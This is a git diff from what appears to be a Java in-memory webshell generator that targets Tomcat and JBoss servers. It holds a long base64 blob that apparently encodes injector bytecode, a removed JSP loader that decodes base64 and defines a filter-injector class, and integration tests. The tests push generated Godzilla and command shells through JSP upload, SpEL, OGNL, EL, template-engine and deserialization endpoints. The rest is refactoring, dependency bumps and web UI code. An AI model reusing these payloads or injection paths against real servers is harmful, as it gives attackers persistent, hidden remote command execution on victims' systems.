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"); + GenerateResult generateResult = GenerateResult.builder() + .injectorBytes(bytes1).build(); + String pack = packer.pack(generateResult); + System.out.println(pack); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java index 4fdc5927..29af1203 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java @@ -33,13 +33,13 @@ class CommandFilterTest { void generate(Class clazz, String className) { ShellConfig generateConfig = new ShellConfig(); CommandConfig shellConfig = CommandConfig.builder() - .clazz(clazz) - .className(className) + .shellClass(clazz) + .shellClassName(className) .paramName("cmd") .build(); byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig); Object obj = ClassUtils.newInstance(bytes); - assertEquals(shellConfig.getClassName(), obj.getClass().getName()); + assertEquals(shellConfig.getShellClassName(), obj.getClass().getName()); assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName")); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java index 4a320cdf..bc3048a1 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java @@ -40,12 +40,12 @@ class GodzillaTest { @MethodSource("casesProvider") void generate(Class clazz, String className) { GodzillaConfig shellConfig = shellConfigBuilder - .className(className) - .clazz(clazz) + .shellClassName(className) + .shellClass(clazz) .build(); byte[] bytes = new GodzillaGenerator(config, shellConfig).getBytes(); Object obj = ClassUtils.newInstance(bytes); - assertEquals(shellConfig.getClassName(), obj.getClass().getName()); + assertEquals(shellConfig.getShellClassName(), obj.getClass().getName()); assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass")); assertEquals(shellConfig.getHeaderName(), ClassUtils.getFieldValue(obj, "headerName")); assertEquals(shellConfig.getHeaderValue(), ClassUtils.getFieldValue(obj, "headerValue")); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index b8756b70..7b93ef5e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -42,37 +42,38 @@ public class ShellAssertionTool { .headerName("User-Agent").headerValue(headerValue) .build(); log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); - byte[] content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer); + String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer); assertInjectIsOk(url, shellType, shellTool, content, packer); GodzillaShellTool.testIsOk(shellUrl, godzillaConfig); break; case Command: String paramName = "Command" + shellType + packer.name(); CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build(); - byte[] commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer); + String commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer); log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName()); assertInjectIsOk(url, shellType, shellTool, commandContent, packer); CommandShellTool.testIsOk(shellUrl, commandConfig); } } - public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, byte[] content, Packer.INSTANCE packer) { + public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) { + log.info(content); switch (packer) { case JSP -> { String uploadEntry = url + "/upload"; String filename = shellType + shellTool + ".jsp"; String shellUrl = url + "/" + filename; - VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content)); + VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.urlIsOk(shellUrl); } - case ScriptEngine -> VulTool.postData(url + "/js", new String(content)); - case EL -> VulTool.postData(url + "/el", new String(content)); - case SpEL -> VulTool.postData(url + "/spel", new String(content)); - case Ognl -> VulTool.postData(url + "/ognl", new String(content)); - case Freemarker -> VulTool.postData(url + "/freemarker", new String(content)); - case Velocity -> VulTool.postData(url + "/velocity", new String(content)); + case ScriptEngine -> VulTool.postData(url + "/js", content); + case EL -> VulTool.postData(url + "/el", content); + case SpEL -> VulTool.postData(url + "/spel", content); + case OGNL -> VulTool.postData(url + "/ognl", content); + case Freemarker -> VulTool.postData(url + "/freemarker", content); + case Velocity -> VulTool.postData(url + "/velocity", content); case Deserialize -> - VulTool.postData(url + "/java_deserialize", Base64.getEncoder().encodeToString(content)); + VulTool.postData(url + "/java_deserialize", content); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index aa34187b..600040c6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -60,6 +60,6 @@ public class Jboss423ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 4e32bbdf..5c74d43e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -60,6 +60,6 @@ public class Jboss510ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index 95d2be07..e76b8893 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -61,6 +61,6 @@ public class Jboss610ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index 5a5e4ee6..a6c65b51 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -60,6 +60,6 @@ public class Jboss711ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index b1850a4f..2151e15d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -57,6 +57,6 @@ public class JbossEap6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index 07342c14..26886913 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -42,9 +42,13 @@ public class JbossEap7ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine) ); } @@ -57,6 +61,6 @@ public class JbossEap7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index ed499103..7e8440e2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -66,7 +66,7 @@ public class Tomcat8ContainerTest { arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Ognl), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity) diff --git a/web/.env b/web/.env new file mode 100644 index 00000000..292fa09d --- /dev/null +++ b/web/.env @@ -0,0 +1 @@ +VITE_APP_API_URL=http://127.0.0.1:8080 \ No newline at end of file diff --git a/web/.env.production b/web/.env.production new file mode 100644 index 00000000..7decfda6 --- /dev/null +++ b/web/.env.production @@ -0,0 +1 @@ +VITE_APP_API_URL= \ No newline at end of file diff --git a/web/biome.json b/web/biome.json index b4d33365..cbff8337 100644 --- a/web/biome.json +++ b/web/biome.json @@ -1,5 +1,5 @@ { - "$schema": "https://biomejs.dev/schemas/1.9.3/schema.json", + "$schema": "https://biomejs.dev/schemas/1.9.4/schema.json", "vcs": { "enabled": true, "clientKind": "git", @@ -30,7 +30,7 @@ "indentStyle": "space", "indentWidth": 2, "enabled": true, - "lineWidth": 100, + "lineWidth": 120, "ignore": ["node_modules", "tsconfig*", "dist"] }, "organizeImports": { diff --git a/web/bun.lockb b/web/bun.lockb index fc542c72..4bc522e9 100755 Binary files a/web/bun.lockb and b/web/bun.lockb differ diff --git a/web/copy-build.sh b/web/copy-build.sh new file mode 100755 index 00000000..6855b412 --- /dev/null +++ b/web/copy-build.sh @@ -0,0 +1,8 @@ +#!/bin/bash +rm -rf ../boot/src/main/resources/static/assets/* + +mkdir -p ../boot/src/main/resources/static/assets/ +cp dist/vite.svg ../boot/src/main/resources/static/ +cp -R dist/assets/* ../boot/src/main/resources/static/assets/ + +cp dist/index.html ../boot/src/main/resources/templates \ No newline at end of file diff --git a/web/package.json b/web/package.json index 29416339..85d80478 100644 --- a/web/package.json +++ b/web/package.json @@ -6,42 +6,51 @@ "scripts": { "typecheck": "tsc --noEmit", "dev": "vite --port=3001", - "build": "vite build", + "build": "tsc -b && vite build --mode production", "serve": "vite preview", "check": "bunx @biomejs/biome check ./ --write", "start": "vite" }, "devDependencies": { "@biomejs/biome": "1.9.4", - "@tanstack/router-plugin": "^1.86.0", - "@types/node": "^22.10.1", + "@tanstack/router-plugin": "^1.91.1", + "@types/node": "^22.10.2", "@types/react": "^19.0.1", - "@types/react-dom": "^19.0.1", + "@types/react-dom": "^19.0.2", "@vitejs/plugin-react": "^4.3.4", "autoprefixer": "^10.4.20", "postcss": "^8.4.49", "tailwindcss": "^3.4.16", + "typescript": "^5.7.2", "vite": "^6.0.3" }, "dependencies": { - "@radix-ui/react-checkbox": "^1.1.2", - "@radix-ui/react-dropdown-menu": "^2.1.2", - "@radix-ui/react-label": "^2.1.0", - "@radix-ui/react-radio-group": "^1.2.1", - "@radix-ui/react-select": "^2.1.2", - "@radix-ui/react-slot": "^1.1.0", - "@radix-ui/react-switch": "^1.1.1", - "@radix-ui/react-tabs": "^1.1.1", - "@tanstack/react-router": "^1.87.0", - "@tanstack/router-devtools": "^1.87.0", + "@hookform/resolvers": "^3.9.1", + "@radix-ui/react-checkbox": "^1.1.3", + "@radix-ui/react-dropdown-menu": "^2.1.4", + "@radix-ui/react-label": "^2.1.1", + "@radix-ui/react-radio-group": "^1.2.2", + "@radix-ui/react-select": "^2.1.4", + "@radix-ui/react-separator": "^1.1.1", + "@radix-ui/react-slot": "^1.1.1", + "@radix-ui/react-switch": "^1.1.2", + "@radix-ui/react-tabs": "^1.1.2", + "@radix-ui/react-tooltip": "^1.1.6", + "@tanstack/react-query": "^5.62.8", + "@tanstack/react-router": "^1.91.2", + "@tanstack/router-devtools": "^1.91.2", "@types/react-syntax-highlighter": "^15.5.13", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "lucide-react": "^0.468.0", + "next-themes": "^0.4.4", "react": "^19.0.0", "react-dom": "^19.0.0", + "react-hook-form": "^7.54.1", "react-syntax-highlighter": "^15.6.1", + "sonner": "^1.7.1", "tailwind-merge": "^2.5.5", - "tailwindcss-animate": "^1.0.7" + "tailwindcss-animate": "^1.0.7", + "zod": "^3.24.1" } } diff --git a/web/src/components/code-viewer.tsx b/web/src/components/code-viewer.tsx index eba32351..dcd23792 100644 --- a/web/src/components/code-viewer.tsx +++ b/web/src/components/code-viewer.tsx @@ -1,9 +1,10 @@ import { Button, ButtonProps } from "@/components/ui/button.tsx"; import { cn } from "@/lib/utils.ts"; import { CheckIcon, ClipboardIcon } from "lucide-react"; -import { useEffect, useState } from "react"; +import { HTMLProps, useEffect, useState } from "react"; import { Prism as SyntaxHighlighter } from "react-syntax-highlighter"; import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism"; +import { toast } from "sonner"; interface CopyButtonProps extends ButtonProps { value: string; @@ -14,24 +15,21 @@ export function copyToClipboardWithMeta(value: string) { navigator.clipboard.writeText(value); } -export function CopyButton({ - value, - className, - src, - variant = "ghost", - ...props -}: CopyButtonProps) { +export function CopyButton({ value, className, src, variant = "ghost", ...props }: CopyButtonProps) { const [hasCopied, setHasCopied] = useState(false); useEffect(() => { - setTimeout(() => { - setHasCopied(false); - }, 2000); - }, []); + if (hasCopied) { + setTimeout(() => { + setHasCopied(false); + }, 1000); + } + }, [hasCopied]); return ( + + - + + + Warning + 反编译还在开发中,因此当前仅能看到 base64 编码格式 + +
+
+
+ +

{generateResult?.injectorClassName}

+
+
+ +

{generateResult?.injectorSize ?? 0} bytes

+
+
+ +
+
); } - -const packerResult = `<%! - public byte[] decodeBase64(String bytecodeBase64) { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - try { - Class base64Clz = classLoader.loadClass("java.util.Base64"); - Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); - Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); - return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); - } catch (Exception ee) { - try { - Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); - return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); - } catch (Exception e) { - return null; - } - } - } -%> - -<% - String className = "org.apache.lEfaI.SignatureUtils"; - String base64Str = "yv66vgAAADIBvQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAQWNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yAQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwsADgAPBwAQDAARABIBAA5qYXZhL3V0aWwvTGlzdAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwsAFAAVBwAWDAAXABgBABJqYXZhL3V0aWwvSXRlcmF0b3IBAAdoYXNOZXh0AQADKClaCwAUABoMABsAHAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwoACAAeDAAfACABAAlnZXRGaWx0ZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoACAAiDAAjACQBAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYHACYBABNqYXZhL2xhbmcvRXhjZXB0aW9uCAAoAQAOe3t1cmxQYXR0ZXJufX0IACoBAA17e2NsYXNzTmFtZX19CAAsAQANe3tiYXNlNjRTdHJ9fQgALgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIKADAAMQcAMgwAMwA0AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsIADYBAAxkZWNvZGVCdWZmZXIHADgBABBqYXZhL2xhbmcvU3RyaW5nCgAwADoMADsAPAEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsKADAAPgwAPwAcAQALbmV3SW5zdGFuY2UKAEEAQgcAQwwARABFAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwBHAQACW0IIAEkBABBqYXZhLnV0aWwuQmFzZTY0CABLAQAKZ2V0RGVjb2RlcgoAAgBNDABOAE8BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsIAFEBAAZkZWNvZGUHAFMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQoAUgADBwBWAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQoAVQBYDAAFAFkBAAUoW0IpVgcAWwEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtCgBaAF0MAAUAXgEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgoAWgBgDABhAGIBAARyZWFkAQAFKFtCKUkKAFIAZAwAZQBmAQAFd3JpdGUBAAcoW0JJSSlWCgBSAGgMAGkAagEAC3RvQnl0ZUFycmF5AQAEKClbQgoAMABsDABtAG4BABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7BwBwAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uCgAwAHIMAHMATwEADWdldFN1cGVyY2xhc3MKAG8AdQwABQB2AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgB4AHkHAHoMAHsAfAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAHgAfgwAfwAgAQADZ2V0CgAIAIEMAIIAgwEADGludm9rZU1ldGhvZAEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoAMACFDACGAIcBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAQQCJDACKAIsBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsKADcAjQwAjgCPAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaCgBBAJEMAJIAkwEAEWdldFBhcmFtZXRlclR5cGVzAQAUKClbTGphdmEvbGFuZy9DbGFzczsKADAAlQwAlgA8AQARZ2V0RGVjbGFyZWRNZXRob2QHAJgBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uCgCXAHUKAEEAeQcAnAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCeAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24KAJsAoAwAoQCLAQAKZ2V0TWVzc2FnZQoAnQB1BwCkAQATamF2YS91dGlsL0FycmF5TGlzdAoAowADBwCnAQAQamF2YS9sYW5nL1RocmVhZAgAqQEACmdldFRocmVhZHMKAAgAqwwAggCsAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsHAK4BABNbTGphdmEvbGFuZy9UaHJlYWQ7CgCmAIkIALEBABxDb250YWluZXJCYWNrZ3JvdW5kUHJvY2Vzc29yCgA3ALMMALQAtQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaCAC3AQAGdGFyZ2V0CgAIALkMALoArAEADWdldEZpZWxkVmFsdWUIALwBAAZ0aGlzJDAIAL4BAAhjaGlsZHJlbgcAwAEAEWphdmEvdXRpbC9IYXNoTWFwCgC/AMIMAMMAxAEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwDGAA8HAMcBAA1qYXZhL3V0aWwvU2V0CgC/AH4KADAAiQgAywEAD1N0YW5kYXJkQ29udGV4dAsADgDNDADOAI8BAANhZGQIANABABVUb21jYXRFbWJlZGRlZENvbnRleHQKAKYA0gwA0wDUAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwoAMADWDADXAIsBAAh0b1N0cmluZwgA2QEAGVBhcmFsbGVsV2ViYXBwQ2xhc3NMb2FkZXIIANsBAB9Ub21jYXRFbWJlZGRlZFdlYmFwcENsYXNzTG9hZGVyCADdAQAJcmVzb3VyY2VzCADfAQAHY29udGV4dAoAnQDhDAAFAOIBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYKAKYA5AwA5QDmAQANY3VycmVu